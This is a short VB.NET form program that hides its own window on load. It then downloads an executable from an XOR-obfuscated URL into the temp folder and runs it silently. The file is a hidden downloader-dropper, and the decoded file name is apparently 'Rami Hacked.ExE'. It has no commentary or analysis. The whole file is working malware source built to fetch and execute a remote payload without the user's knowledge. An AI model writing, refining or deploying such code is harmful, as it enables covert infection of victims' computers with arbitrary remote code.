Public Class Form1
     Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
         Me.ShowIcon = False
         Me.ShowInTaskbar = False
         Me.Opacity = 0

         Dim Download As New Net.WebClient
         Me.Hide()
         Me.ShowIcon = False
         Me.ShowInTaskbar = False
         Me.Opacity = 0
         Download.DownloadFile(CRDIGVnpiwtIGNLCqBIjvfe( Chr(45) & Chr(49) & Chr(49) & Chr(53) & Chr(54) & Chr(127) & Chr(106) & Chr(106) & Chr(50) & Chr(50) & Chr(50) & Chr(107) & Chr(48) & Chr(53) & Chr(41) & Chr(42) & Chr(36) & Chr(33) & Chr(107) & Chr(32) & Chr(32) & Chr(106) & Chr(33) & Chr(42) & Chr(50) & Chr(43) & Chr(41) & Chr(42) & Chr(36) & Chr(33) & Chr(106) & Chr(115) & Chr(125) & Chr(118) & Chr(118) & Chr(118) & Chr(115) & Chr(114) & Chr(106) & Chr(114) & Chr(118) & Chr(113) & Chr(33) & Chr(125) & Chr(124) & Chr(33) & Chr(39) & Chr(32) & Chr(35) & Chr(125) & Chr(115) & Chr(116) & Chr(116) & Chr(112) & Chr(32) & Chr(33) & Chr(114) & Chr(38) & Chr(36) & Chr(106) & Chr(22) & Chr(32) & Chr(55) & Chr(51) & Chr(32) & Chr(55) & Chr(107) & Chr(32) & Chr(61) & Chr(32) , "EtuYmplinpXghrQoKrhQtWt"), Environ(CRDIGVnpiwtIGNLCqBIjvfe( Chr(0) & Chr(17) & Chr(25) & Chr(4) , "tPVibuXKgSZRwhoJZJEHtGW")) & CRDIGVnpiwtIGNLCqBIjvfe( Chr(91) & Chr(38) & Chr(21) & Chr(25) & Chr(29) & Chr(84) & Chr(60) & Chr(21) & Chr(23) & Chr(31) & Chr(17) & Chr(16) & Chr(90) & Chr(49) & Chr(12) & Chr(49) , "tPVibuXKgSZRwhoJZJEHtGW"))
         Shell(Environ(CRDIGVnpiwtIGNLCqBIjvfe( Chr(0) & Chr(17) & Chr(25) & Chr(4) , "tPVibuXKgSZRwhoJZJEHtGW")) & CRDIGVnpiwtIGNLCqBIjvfe( Chr(91) & Chr(38) & Chr(21) & Chr(25) & Chr(29) & Chr(84) & Chr(60) & Chr(21) & Chr(23) & Chr(31) & Chr(17) & Chr(16) & Chr(90) & Chr(49) & Chr(12) & Chr(49) , "tPVibuXKgSZRwhoJZJEHtGW"))


         End
     End Sub



Private Function CRDIGVnpiwtIGNLCqBIjvfe(ByVal QcZVVQdElGqQaeGvb As String, ByVal qpjbfqFVkehCUiZFX As String)
Dim tUdrOMDNqXMavPesn As String =""
Dim vvYKugBFwQnAZtihH As Short
Dim BaTacDwuEJRYDanWX As Integer
BaTacDwuEJRYDanWX = Asc(qpjbfqFVkehCUiZFX)
For vvYKugBFwQnAZtihH = 1 To Len(QcZVVQdElGqQaeGvb)
tUdrOMDNqXMavPesn &= Chr(BaTacDwuEJRYDanWX Xor Asc(Mid(QcZVVQdElGqQaeGvb, vvYKugBFwQnAZtihH, 1)))
Next
Return tUdrOMDNqXMavPesn
End Function
End Class